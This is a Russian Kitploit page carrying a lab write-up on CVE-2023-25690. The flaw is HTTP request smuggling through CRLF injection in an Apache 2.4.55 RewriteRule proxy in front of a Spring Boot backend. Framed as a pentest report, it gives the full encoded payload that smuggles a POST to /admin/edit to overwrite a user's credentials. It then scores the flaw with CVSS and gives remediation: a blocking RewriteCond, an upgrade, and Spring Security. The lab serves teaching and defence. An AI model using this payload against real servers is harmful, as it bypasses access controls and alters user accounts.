Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-25690_lab — Лаборатория HTTP Request Smuggling: Apache 2.4.55 CRLF injection | Kitploit
Инструменты/GitHubGitHub/giordy0424/cve-2023-25690_lab
Анализ уязвимостейЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

Лаборатория HTTP Request Smuggling: Apache 2.4.55 CRLF injection

Репозиторий
2 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

HTTP Request Smuggling через прокси Apache

Настройка среды

Инфраструктура

КомпонентРольВерсия
Apache HTTP ServerОбратный прокси2.4.55 (уязвимый)
Spring Boot (встроенный Tomcat)Backend API4.x (Java 21)
SQLiteБаза данных—
root@kitploit:~
Пользователь ──► Apache :80 (Прокси) ──► Spring Boot :8080 (Backend) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: неочищенные CRLF
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> заблокирован

Публичные endpoint'ы бэкенда

root@kitploit:~
POST /public/register: позволяет регистрировать пользователей в базе данных
POST /public/login: позволяет выполнить вход через проверку учётных данных и выдаёт токен сессии
GET /public/dashboard: приватная область пользователей
GET /api/status: принимает параметр «name» — пример endpoint'а для проверки состояния сервисов
GET /public/logout

Приватные endpoint'ы бэкенда

root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}: теоретически недоступный публике маршрут, позволяющий администраторам изменять данные пользователей

Эталонная методология пентеста

  1. Планирование — Определение границ
  2. Разведка — Сбор информации, футпринтинг, сканирование и перечисление, анализ уязвимостей
  3. Атака — Эксплуатация, повышение привилегий
  4. Отчётность — Резюме для руководства, технический отчёт

Резюме для руководства

В ходе пентеста была выявлена критическая уязвимость в инфраструктуре обратного прокси, раскрывающая бэкенд Spring Boot. Прокси-сервер Apache HTTP Server версии 2.4.55 подвержен уязвимости CVE-2023-25690 (HTTP Request Smuggling), которая позволяет атакующему обойти фильтры безопасности, установленные на прокси, и напрямую обратиться к незащищённым внутренним административным endpoint'ам.

Атака использует отсутствие очистки управляющих символов (CRLF) в RewriteRule Apache, позволяя внедрить второй HTTP-запрос среди параметров легитимного запроса к бэкенду. PoC продемонстрировал несанкционированное изменение учётных данных пользователя в базе данных через endpoint /admin/edit/{id}/{newName}/{newPass}, теоретически защищённый ACL прокси.

Рекомендации: Немедленно обновить Apache HTTP Server до версии ≥ 2.4.56, усилить фильтры безопасности на прокси и внедрить уровень безопасности на стороне бэкенда (Spring Security) для всех чувствительных endpoint'ов.


1 Планирование

1.1 Режим

  • Вектор атаки: Интернет
  • Атакуемая среда: Продакшн

1.2 Gray Box — Известная информация:

  • Имя хоста фронтенда
  • Имя хоста бэкенда (или IP-адрес в локальной сети компании) и порт
  • Приватный endpoint

1.3 Цели теста

  • Обойти ACL Apache для доступа к приватному endpoint'у
  • Продемонстрировать несанкционированное изменение данных пользователя в базе данных
  • Оценить реальное влияние CVE-2023-25690 в реальном сценарии

2 Оценка уязвимости — Этап разведки

2.1 Сбор информации и футпринтинг

2.1.1 Banner Grabbing

Определение версии Apache путём анализа HTTP-заголовков ответа.

root@kitploit:~
$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

Результат: Заголовок Server раскрывает Apache/2.4.55. Поиск в базе CVE → соответствует CVE-2023-25690.

Согласно CVE, в этой версии Apache, если присутствует RewriteRule, копирующая в целевой URL бэкенда произвольные символы из запроса к прокси, переданный текст не очищается, поэтому проходят и управляющие символы (такие как переводы строк).

Например: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P означает режим прокси

Итак, теперь наша цель — обнаружить возможный endpoint, выполняющий такую передачу на уровне прокси.

2.1.2 Определение технологий бэкенда

Анализ ответов и поведения приложения показывает, что сессия управляется через JSESSIONID, что подтверждает использование Java Servlet Container (например, Apache Tomcat, Jetty или WildFly). Кроме того, запрос к несуществующим endpoint'ам возвращает "Whitelabel Error Page", что указывает на использование Spring Boot в бэкенде.

2.2 Сканирование и перечисление

2.2.1 Active Directory/Endpoint Enumeration (Fuzzing)

С помощью bash-скрипта для автоматизации словарного фаззинга были картографированы все доступные в сети endpoint'ы (предположительно все).

Результат:

2.2.2 Картографирование конфигурации прокси (дедукция)

Так как

  • /service/x
  • /api/status?name=x

возвращают одинаковый ответ, становится понятно, что они указывают на один и тот же endpoint бэкенда. Кроме того, запросы типа /service/x/y/z (которые, скорее всего, не существуют) не возвращают 404, что позволяет предположить, что исходный endpoint принимает параметр, а не переменную пути. Таким образом можно сделать вывод, что запросы к /service/<service> преобразуются с помощью RewriteRule для бэкенда Spring Boot (именно то, что мы искали). Теперь нужно понять, является ли эта RewriteRule фиктивной (т.е. использует regex типа .*) или она хорошо структурирована.

Пробуем вставить в запрос управляющие символы, чтобы разделить легитимное содержание и скрытое:

root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... Il servizio 'x' è operativo e stabile.

Я добавил пользовательский параметр, чтобы проверить, правильно ли интерпретируются CRLF

trash_header предназначен для инкапсуляции заголовков, которые Apache добавит в запрос к бэкенду (таким образом они будут интерпретированы как обычный текст заголовка X-Header и не будут иметь значения для HTTP-запроса)


Вне рамок атакующего

С помощью tcpdump в контейнере бэкенда я смог перехватить HTTP-запрос, пришедший от Apache:

root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

Бэкенд видит следующий запрос:

root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

«Управляющие символы сработали»

Ответ показывает, что часть с управляющими символами прошла как структура самого HTTP-запроса, а не просто как параметр (поскольку имя, перехваченное бэкендом, — только 'x'). Таким образом, мы навязали формат HTTP-запроса к бэкенду, и прокси его принял. Это открывает путь к настоящей полезной нагрузке для smuggling.

2.3 Карта поверхности атаки


3 Атака

3.1 Цель атаки

Заставить обратный прокси Apache направить два отдельных запроса к бэкенду Spring Boot, так чтобы второй запрос достиг endpoint'а /admin/edit/, обходя фильтр ACL Apache.

На этом этапе представим, что localhost и spring-backend — это соответственно публичные адреса прокси и сервера. Если прокси и бэкенд находятся в одной сети (или организации), spring-backend будет частным IP (который, к сожалению, трудно узнать).

3.2 Механизм smuggling

Уязвимость кроется в RewriteRule:

root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

Прокси захватывает пользовательский ввод в $1 и вставляет его в строку запроса без очистки управляющих символов (%20, %0d%0a). Бэкенд (Tomcat) интерпретирует эти символы как завершение URL и начало нового HTTP-запроса на том же TCP-сокете.

3.3 Состав полезной нагрузки

root@kitploit:~
A) GET /service/x                  → Легитимная часть; всё, что после /service/
                                      попадает в $1 (параметр name)

B) %20HTTP/1.1                     → [Точка разделения] Пробел, преждевременно
                                      закрывающий URL в бэкенде

C) %0d%0aHost:...%0d%0a%0d%0a     → [Инъекция заголовков] CRLF для завершения
                                      первого запроса

D) POST /admin/edit/1/HACKED/PWNED → [Скрытый запрос] Вредоносный запрос,
                                      спрятанный в сторону endpoint'а admin

E) %20HTTP/1.1                     → Версия HTTP для второго запроса

F) %0d%0aContent-Length:%200       → Пустое тело для POST
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [Поглотитель заголовков] Поглощает заголовки,
                                      добавляемые автоматически Apache

3.4 Полный HTTP-запрос

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 Декодирование потока

Что Apache видит (один запрос):

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

Что бэкенд получает (два запроса на том же сокете):

root@kitploit:~
--- Запрос 1 (легитимный, но «искалеченный») ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- Запрос 2 (скрытый) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 Результат

root@kitploit:~
>> ... HTTP/1.1 200 ... Il servizio 'x' è operativo e stabile.

Пользователь с ID 1 переименован в HACKED с паролем PWNED — полный обход ACL прокси.


Вне рамок атакующего

Прямой доступ к базе данных для подтверждения:

root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 Оценка уязвимости

4.1 Идентификация

IDОписание
CVE-2023-25690HTTP Request Smuggling в Apache HTTP Server через mod_proxy с RewriteRule/ProxyPassMatch
CWE-444Несогласованная интерпретация HTTP-запросов ('HTTP Request/Response Smuggling')
CWE-113Некорректная нейтрализация CRLF-последовательностей в HTTP-заголовках ('HTTP Response Splitting')

4.2 Оценка по CVSS 3.1

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Базовые метрики

Базовый балл: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Временные метрики

Временной балл: 9.3 (HIGH)

Экологические метрики

Экологический балл: 8.0 (HIGH)

Векторная строка: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

Общий балл: 8.0 — HIGH


5. Устранение

5.1 Немедленное вмешательство (Hotfix) — Блокирующая RewriteCond

Добавьте RewriteCond, которая блокирует запросы, содержащие управляющие символы (пробел, CR, LF) в REQUEST_URI:

root@kitploit:~
<VirtualHost *:80>
    ServerName localhost

    RewriteEngine on

    # БЛОКИРОВКА УПРАВЛЯЮЩИХ СИМВОЛОВ
    RewriteCond %{REQUEST_URI} [\s\r\n]
    RewriteRule ^ - [F,L]

    # Существующие правила
    RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
    RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

    ProxyPassReverse "/public/" "http://spring-backend:8080/public/"

    <Location "/admin">
        Require all denied
    </Location>
</VirtualHost>
  • F (Forbidden): Немедленно возвращает ошибку 403
  • L (Last): Прекращает обработку последующих правил

5.2 Обновление ПО (Рекомендовано)

Обновить Apache HTTP Server до версии ≥ 2.4.56, где очистка управляющих символов в RewriteRule с флагом [P] принудительно включена на уровне ядра сервера.

Текущая версияЦелевая версияИсправление
2.4.552.4.56+Автоматическая очистка CRLF в mod_proxy

5.3 Усиление бэкенда (Spring Boot)

Внедрение Spring Security

Добавьте spring-boot-starter-security в pom.xml:

root@kitploit:~
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Настройте SecurityFilterChain, защищающий административные endpoint'ы:

root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

Валидация ввода

Добавьте проверки на все параметры, принимаемые endpoint'ами (строка запроса, переменные пути, данные формы):

root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // Проверка, что пользователь имеет роль ADMIN
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "Доступ запрещён";
    }
    // ... операция разрешена только после проверки аутентификации
}
Скачать инструмент
EndpointHTTP-кодМетодПараметры
admin403GET(без параметров)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(без параметров)
public/logout200GET(без параметров)
api/status200GET(без параметров)
service/*200GET(без параметров)
EndpointМетодДоступПримечания
/public/registerPOSTПубличныйРегистрация пользователя
/public/loginPOSTПубличныйВход, выдача JSESSIONID
/public/dashboardGETАутентифицированПриватная область
/public/logoutGETПубличныйУничтожение сессии
/api/status?name=GETПубличныйHealth check
/service/{param}GETПубличныйУязвимый шлюз ($1 в строке запроса)
/admin/edit/{id}/{n}/{p}POSTЗащищён (ACL)Изменение учётных данных пользователя
/admin/*Заблокирован (403)ACL Apache
МетрикаЗначениеОписание
Вектор атаки (AV)N (Сеть)Доступен удалённо по сети
Сложность атаки (AC)L (Низкая)Нет специальных условий
Необходимые привилегии (PR)N (Нет)Аутентификация не требуется
Взаимодействие с пользователем (UI)N (Нет)Не требует взаимодействия жертвы
Область действия (S)C (Изменена)Уязвимый компонент отличается от поражённого
Конфиденциальность (C)H (Высокая)Доступ к защищённым endpoint'ам
Целостность (I)H (Высокая)Изменение данных пользователя в БД
Доступность (A)H (Высокая)Возможно отравление кэша прокси / загрязнение сокетов
МетрикаЗначениеОписание
Зрелость эксплойта (E)F (Существует функциональный эксплойт)Работающий эксплойт
Уровень исправления (RL)O (Официальное исправление)В более поздних версиях Apache ошибка исправлена
Достоверность отчёта (RC)C (Подтверждена)Уязвимость подтверждена и задокументирована
МетрикаЗначениеОписание
Вектор атаки (MAV)N (Сеть)Прокси доступен из интернета
Сложность атаки (MAC)H (Высокая)Требуется знание структуры внутренних endpoint'ов
Необходимые привилегии (MPR)L (Низкие)Не требуются никакие привилегии
Взаимодействие с пользователем (MUI)N (Нет)Не требуется взаимодействие внешних пользователей
Область действия (MS)C (Изменена)Одна система нарушается через другую
Метрики воздействия (MC/MI/MA)H/H/HМаксимальный ущерб (изменение данных в БД)
Требования CIA (CR/IR/AR)H/H/HКритическая система (вход пользователей)